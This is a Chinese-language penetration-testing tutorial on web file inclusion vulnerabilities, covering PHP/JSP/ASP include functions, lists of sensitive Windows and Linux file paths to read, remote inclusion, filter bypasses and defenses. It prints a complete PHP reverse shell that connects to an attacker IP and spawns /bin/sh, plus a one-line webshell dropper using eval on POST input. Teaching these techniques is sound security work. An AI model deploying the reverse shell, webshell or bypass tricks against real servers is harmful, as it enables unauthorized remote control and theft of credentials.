渗透测试技术----常见web漏洞--文件包含攻击原理及防御

一、文件包含漏洞介绍

1.文件包含简介
开发者将相同的函数写进单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写。这种文件调用的过程称为文件包含。

2.文件包含漏洞简介
开发人员为了使代码更加灵活,会将包含的文件设置为变量,用来进行动态调用,从而导致客户端可以调用一个恶意文件,这就会造成文件包含漏洞。

二、文件包含漏洞原理

由于开发人员编写源码时可将重复使用的代码写入到单个文件中,并在需要使用的时间将它们包含在特殊的代码中,这样包含的文件中的代码就会执行。如果没有针对代码中存在文件包含的函数入口做过滤,那么就可能会导致客户端可以提交恶意的语句,并且这些语句会交由服务器端进行执行。这样就可能会泄露敏感信息或者执行恶意代码。

三、文件包含漏洞相关知识

1.文件包含常见函数
PHP文件包含相关函数如下

  • include()函数
    找不到被包含的文件,只会报错,但会继续执行脚本
  • include_once()函数
    与include()函数类似,区别在于重复调用同一文件时,程序只调用一次
  • require()函数
    找不到被包含的文件,会报错,并且停止执行脚本
  • require_once()函数
    与require()函数类似,区别在于重复调用同一文件时,程序只调用一次
  • fopen()函数
    打开文件或者 URL,如果打开失败,本函数将返回false
    readfile()函数
    该函数读入一个文件并写入到输出缓冲,若成功,则返回从文件中读入的字节数;若失败,则返回false

JSP文件包含相关函数如下

  • java.io.File()函数
    打开一个文件的函数
  • java.io.FileReader()函数
    读取一个文件的函数

ASP文件包含函数如下

  • include file
    包含一个文件(包含文件的相对路径)
  • include virtual
    包含一个文件(包含文件的虚拟路径)

2.文件包含的特征
URL栏中有以下内容则可能存在文件包含

  • ?page=
  • ?file=
  • ?home=

3.目录遍历和文件包含的区别
(1):目录遍历是可以读取web目录以外的其他目录,根源在于对路径的访问权限设置不严格,针对于本系统。
(2):文件包含是利用函数来包含web目录以外的文件,分为本地文件包含和远程文件包含。

四、文件包含步骤

文件包含分为本地文件包含和远程文件包含,本地文件包含主要是用来查看目标主机的敏感信息;而远程文件包含主要是用来包含木马等可执行文件来获取shell。

本地文件包含

重点:对于PHP环境,被包含的文件会优先被当作php文件进行解析,如果被包含的文件中存在php代码,那么就会按照php类型执行该文件中的php代码;如果不包含php代码,则会将其中的内容全部原样打印处理。(但是对于JSP来说,如果包含一个非JSP扩展名的文件时,即使其中的内容包含JSP,但是服务器也不会把该文件当JSP文件来处理)
如果要使用文件包含,则需要将php.ini的配置文件中allow_url_include = Off改为allow_url_include = On
在这里插入图片描述

  • Windows
    常见的敏感信息路径
    (1):查看系统版本:C:\boot.ini
    (2):查看IIS配置文件:C:\windows\system32\inetsrv\MetaBase.xml
    (3):查看存储Windows系统初次安装的密码:C:\windows\repair\sam
    (4):查看MySQL配置:C:\ProgramFiles\Mysql\my.ini
    (5):查看MySQLroot密码:C:\ProgramFiles\mysql\data\mysql\user.MYD
    (6):查看php配置信息:C:\windows\php.ini

    1.查看boot.ini文件:C:\boot.ini(没有包含php代码,原样打印)
    在这里插入图片描述
    2.查看phpinfo文件:C:phpStudy\PHPTutorial\WWW\phpinfo.php(包含了php代码,执行其中的代码)
    在这里插入图片描述
    3.修改phpinfo文件后缀名(包含php代码,虽然后缀名为txt,但是还是会当成执行php执行)
    在这里插入图片描述
  • Linux
    常见的敏感信息路径
    (1):查看账户信息:/etc/passwd
    (2):查看密码文件:/etc/shadow
    (3):查看Apache2配置文件:/usr/local/app/apache2/conf/http.conf
    (4):查看虚拟网站配置:/usr/local/app/conf/extra/http-vhost.conf
    (5):查看php相关配置:/usr/local/app/php5/lib/php.ini
    (6):查看Apache配置文件:/etc/httpd/conf/httpd.conf
    (7):查看MySQL配置文件:/etc/my.conf

    1.查看/etc/passwd文件:/etc/passwd
    在这里插入图片描述
    2.查看DNS文件:/etc/resolv.conf
    在这里插入图片描述
    3.查看SSH连接记录:/root/.ssh/known_hosts
    在这里插入图片描述
    4.查看网卡信息:/etc/network/interfaces
    在这里插入图片描述
远程文件包含

1.使用远程包含反弹shell

(1):在kali上建立shell.php文件
在这里插入图片描述

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.223.160';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
  0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
  1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

(2):开启kali的apache服务
在这里插入图片描述

(3):远程包含该shell.php文件
在这里插入图片描述
成功拿到shell

2.文件包含一句话木马

(1):在kali的/var/www/html下写入一句话木马
在这里插入图片描述
(2):开启Apache服务
在这里插入图片描述
(3):进行远程文件包含并执行系统命令
在这里插入图片描述

五、Bypass文件包含

1.如果过滤了关键字,使用大小写、复写绕过。例如远程文件包含中如果过滤了http,可以使用HttP、hthttptp来进行绕过。
2.使用00截断
新建1.jpg,写入以下内容
< ?fputs(fopen(“shell.php”,“w”),"<?php eval($_POST[cmd]);?>") ?>
这样的话比如上传一个1.jpg图片码,这样可以绕过去白名单限制,但是现在上传到服务器端的文件为1.jpg.php,因此但是当你去访问http://www.xxx.com/1.jpg时,实际访问的是1.jgp.php,而且服务器端并没有1.jpg这个文件,因此服务器端会报错。这时,可以尝试访问http://www.xxx.com/1.jpg%00,使用%00进行截断,这时就不会再出现报错,因为其实访问的是1.jpg.php文件,只是使用%00进行截断,截断之后,服务器对截断之后的后缀名不再进行检测,但是执行的时候还是执行1.jpg.php文件。
3.使用长字节截断
在Windows下目录最大长度为256字节,Linux下为4096字节,后面超过的部分会被忽略。因此可以使用足够长的目录进行访问,前面使用./././或等内容进行填充,超过256字节或者4096字节后再在后面添加想要包含的内容,这样超过的部分服务器就不会再进行检测,但是执行的时候还是会对后面添加的内容进行执行。

六、防御文件包含的方法

1.严格限制包含中的参数,取消那些不可控的参数。
2.开启open_basedir()函数,将其设置为指定目录,则只有该目录的文件允许被访问。
3.如果不需要文件包含,则关闭allow_url_include()函数,防止远程文件包含,这是最安全的办法。
4.如果需要使用文件包含,则通过使用白名单的方法对要包含的文件进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞。

  • 1
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值